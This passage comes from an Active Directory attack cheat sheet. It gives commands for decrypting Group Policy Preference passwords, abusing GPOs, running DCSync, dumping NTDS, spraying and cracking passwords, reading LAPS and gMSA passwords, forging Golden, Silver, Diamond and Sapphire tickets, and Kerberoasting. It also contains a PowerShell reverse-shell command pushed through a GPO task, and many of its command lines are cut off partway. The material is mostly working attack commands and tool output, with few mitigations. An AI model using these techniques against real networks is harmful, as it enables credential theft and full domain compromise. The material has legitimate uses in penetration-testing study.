        <url>\\\\workstation@8888\\folder</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

Windows Search Connectors Files

> Windows Search Connectors (.searchConnector-ms)

```
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<https://tinyurl.com/28kdzply">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
    </simpleLocation>
</searchConnectorDescription>
```

Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

```
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fc

e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSV
```

Automate the SYSVOL and passwords research

- `Metasploit` modules to enumerate shares and credentials

```
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```

- CrackMapExec modules

```
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
```

- Get-GPPPassword

```
# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

# pass-the-hash
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMA
```

Mitigations

- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.

- Delete existing GPP xml files in SYSVOL containing passwords.
- Don't put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\` , inside two folders **User** and **Machine**. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks` .

:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: `gpupdate /force` .

Find vulnerable GPO

Look a GPLink where you have the **Write** right.

```
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_
```

Abuse GPO with SharpGPOAbuse

```
# Build and configure SharpGPOAbuse
$ git clone https://tinyurl.com/2y2ql39c
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\C

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemo

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptConten

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
```

```
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin -
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LO
```

Abuse GPO with PowerGPOAbuse

- https://tinyurl.com/2betvxc9

```
PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity '

# Adding a New Computer/User script
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(G

# Create an immediate task
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -Comma
```

Abuse GPO with pyGPOAbuse

```
$ git clone https://tinyurl.com/2c2fwrwz

# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456
    -powershell \
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \
    -user
```

Abuse GPO with PowerView

```
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArgument
```

Abuse GPO with StandIn

```
# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivile

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "
```

Dumping AD Domain Credentials

You will need the following files to extract the ntds :

- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)

Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit` .

- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database
```

DCSync Attack

DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer

accounts are able to run DCSync to pull password data.

- DCSync only one user

```
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
```

- DCSync all users of the domain

```
mimikatz# lsadump::dcsync /domain:htb.local /all /csv

crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --ntds
crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --ntds drsuapi
```

> :warning: OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.

Volume Shadow Copy

The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.

- windows-commands/vssadmin

```
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\
```

- windows-commands/ntdsutil

```
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

- CrackMapExec VSS module

```
cme smb 10.10.0.202 -u username -p password --ntds vss
```

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit

```
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-s
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4
```

- `-pwd-last-set` : Shows pwdLastSet attribute for each NTDS.DIT account.
- `-user-status` : Display whether or not the user is disabled.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. :warning: Requires administrator access with debug or Local SYSTEM rights

```
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```

Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists:

- Rockyou.txt
- Have I Been Pwned founds)
- Weakpass.com
- Read More at Methodology and Resources/Hash Cracking.md

```
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r

# Generate a custom mask based on a wordlist
$ git clone https://tinyurl.com/27a5ykbk
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.h
```

:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :

- hashmob.net
- crackstation.net
- hashes.com

NTDS Reversible Encryption

`UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED` (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.

The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.

- List users with "Store passwords using reversible encryption" enabled

```
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountCont
```

The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.

User Hunting

Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.

- CrackMapExec

```
cme smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions
SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  [+] Enumerated sessions
SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  \\10.10.10.10            U
```

- Impacket Smbclient

```
$ impacket-smbclient Administrator@10.10.10.10
# who
host:  \\10.10.10.10, user: Administrator, active:     1, idle:     0
```

- PowerView Invoke-UserHunter

```
# Find computers were a Domain Admin OR a specified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

- `P@ssw0rd01` , `Password123` , `Password1` , `Hello123` , `mimikatz`
- `Welcome1` / `Welcome01`
- $Companyname1 : `$Microsoft1`
- SeasonYear : `Winter2019*` , `Spring2020!` , `Summer2018?` , `Summer2020` , `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using `kerbrute` , a tool to perform Kerberos pre-auth bruteforcing.

> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.

- Username bruteforce

```
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10
```

- Password bruteforce

```
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.1
```

- Password spray

```
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.
```

Spray a pre-generated passwords list

- Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.

```
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```

- Using `DomainPasswordSpray` to spray a password against all users of a domain.

```
# https://tinyurl.com/2dgs7sa4
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordL
```

- Using `SMBAutoBrute`.

```
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Pass
```

Spray passwords against the RDP service

- Using RDPassSpray to target RDP services.

```
git clone https://tinyurl.com/y5b629nh
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```

- Using hydra and ncrack to target RDP services.

```
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://1
ncrack -connection-limit 1 -vv --user administrator -P password-file.txt rdp:
```

BadPwdCount attribute

> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

```
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --u
LDAP        10.0.2.11       389    dc01         Guest       badpwdcount: 0 pwdLastSe
LDAP        10.0.2.11       389    dc01         krbtgt      badpwdcount: 0 pwdLastSe
```

Password in AD User comment

```
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M
```

```
GET-DESC... 10.0.2.11       389    dc01    [+] Found following users:
GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in acco
GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribu
```

There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.

```
enum4linux | grep -i desc
```

```
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabl
```

or dump the Active Directory and `grep` the content.

```
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```

Password of Pre-Created Computer Account

When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.

```
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEF
```

- When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
- Then you need to change the password with rpcchangepwd.py

Reading LAPS Password

> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

```
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

Extract LAPS password

> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

- From Windows:
  - adsisearcher (native binary on Windows 8+)

    ```
    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountNar
    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountNar
    ```

  - PowerView

    ```
    PS > Import-Module .\PowerView.ps1
    PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms
    ```

  - LAPSToolkit

    ```
    $ Get-LAPSComputers
    ComputerName                Password                                Expi
    ------------                --------                                -----
    example.domain.local        dbZu7;vGaI)Y6w1L                        02/2

    $ Find-LAPSDelegatedGroups
    $ Find-AdmPwdExtendedRights
    ```

  - Powershell AdmPwd.PS

    ```
    foreach ($objResult in $colResults){$objComputer = $objResult.Properties;
    ```

- From Linux:
  - pyLAPS to **read** and **write** LAPS passwords:

```
# Read the password of all computers
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!'
# Write a random password to a specific computer
./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.loc
```

- CrackMapExec:

```
crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b758
```

- LAPSDumper

```
python laps.py -u 'user' -p 'password' -d 'domain.local'
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8
```

- ldapsearch

```
ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=co
```

Grant LAPS Access

The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

```
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Do
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -D
```

Reading GMSA Password

> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

GMSA Attributes in the Active Directory

- `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.

- `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
- `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
- `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Extract NT hash from the Active Directory

- GMSAPasswordReader (C#)

```
# https://tinyurl.com/2yt5mdu6
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
```

- gMSADumper (Python)

```
# https://tinyurl.com/27xutao6
python3 gMSADumper.py -u User -p Password1 -d domain.local
```

- Active Directory Powershell

```
$gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msl
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
```

- gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module

Forging Golden GMSA

> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

:warning: You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and `ManagedPasswordIntervalInDays`, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.

- Using GoldenGMSA

```
# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

# Dump all KDS Root Keys
GoldenGMSA.exe kdsinfo
# Dump a specific KDS Root Key
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

# Compute gMSA password
# --sid <gMSA SID>: SID of the gMSA (required)
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute va
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 #
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --
```

Kerberos Tickets

Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.

There are two types of tickets in Kerberos:

- **Ticket Granting Ticket** (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.
- **Service Ticket** (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.

Dump Kerberos Tickets

- Mimikatz: `sekurlsa::tickets /export`
- Rubeus

```
# List available tickets
```

```
Rubeus.exe triage

# Dump one ticket, the output is in Kirbi format
Rubeus.exe dump /luid:0x12d1f7
```

Replay Kerberos Tickets

- Mimikatz: `mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"`
- CrackMapExec: `KRB5CCNAME=/tmp/administrator.ccache crackmapexec smb 10.10.10 -u user --use-kcache`

Convert Kerberos Tickets

In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.

- A credential cache, or `"ccache"` is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.
- The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a `"kirbi"` cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.

While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:

- kekeo: `misc::convert ccache ticket.kirbi`
- impacket: `impacket-ticketConverter SRV01.kirbi SRV01.ccache`

Pass-the-Ticket Golden Tickets

Forging a TGT require:

- the `krbtgt` NT hash
- since recently, we cannot use a non-existent account name as a result of `CVE-2021-42287` mitigations

> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main

> differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.

Using Mimikatz

```
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-201
kerberos::tgt
```

Using Meterpreter

```
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Using a ticket on Linux

```
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-29726

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-35440

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
```

```
# NOTE: You may need to comment the proxy_dns setting in the proxychains configur
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache veloci
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velocir
Converting kirbi => ccache
```

Mitigations:

- Hard to detect because they are legit TGT tickets
- Mimikatz generate a golden ticket with a life-span of 10 years

Pass-the-Ticket Silver Tickets

Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.

```
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /t

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-14234559
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-134912

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.1
```

Interesting services to target with a silver ticket :

Service Type	Service Silver Tickets	Attack
WMI	HOST + RPCSS	`wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"`

PowerShell Remoting	CIFS + HTTP + (wsman?)	`New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC`
WinRM	HTTP + wsman	`New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC`
Scheduled Tasks	HOST	`schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"`
Windows File Share (CIFS)	CIFS	`dir \\dc01\c$`
LDAP operations including Mimikatz DCSync	LDAP	`lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt`
Windows Remote Server Administration Tools	RPCSS + LDAP + CIFS	/

Mitigations:

- Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

Pass-the-Ticket Diamond Tickets

> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key

Require:

- krbtgt NT Hash
- krbtgt AES key

```
ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password'
```

```
Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTRO
```

Pass-the-Ticket Sapphire Tickets

> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT).

The goal is to mimic the PAC field as close as possible to a legitimate one.

Require:

- Impacket PR#1411
- krbtgt AES key

```
# baduser argument will be ignored
ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_
```

Kerberoasting

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

- GetUserSPNs from Impacket Suite

```
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.1

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf
--------------------  -------------  ----------------------------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]8
```

- CrackMapExec Module

```
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11
LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 1776
LDAP        10.0.2.11       389    dc01           $krb5tgs$23$*john.doe$lab.l
```

- Rubeus

```
# Stats
Rubeus.exe kerberoast /stats
----------------------------------------   ----------------------------------
| Supported Encryption Type | Count |   | Password Last Set Year | Count |
----------------------------------------   ----------------------------------
| RC4_HMAC_DEFAULT          | 1     |   | 2021                   | 1     |
----------------------------------------   ----------------------------------

# Kerberoast (RC4 ticket)
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile

# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 ti
Rubeus.exe kerberoast /tgtdeleg

# Kerberoast (RC4 ticket)
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated
Rubeus.exe kerberoast /rc4opsec
```

- PowerView

```
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```

- bifrost on **macOS** machine

```
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.l
```

- targetedKerberoast

```
# for each user without SPNs, it tries to set one (abuse of a write permissio
# print the "kerberoast" hash, and delete the temporary SPN set for that oper
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--re
```

Then crack the ticket using the correct hashcat mode (`$krb5tgs$23 = etype 23`)

Mode	Description
13100	Kerberos 5 TGS-REP etype 23 (RC4)
19600	Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)

19700	Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)

```
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos
```

Mitigations:

- Have a very long password for your accounts with SPNs (> 32 characters)
- Make sure no users have SPNs

KRB_AS_REP Roasting

> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements:

- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
- Rubeus

```
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:ha
[*] Action: AS-REP roasting
[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local
[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
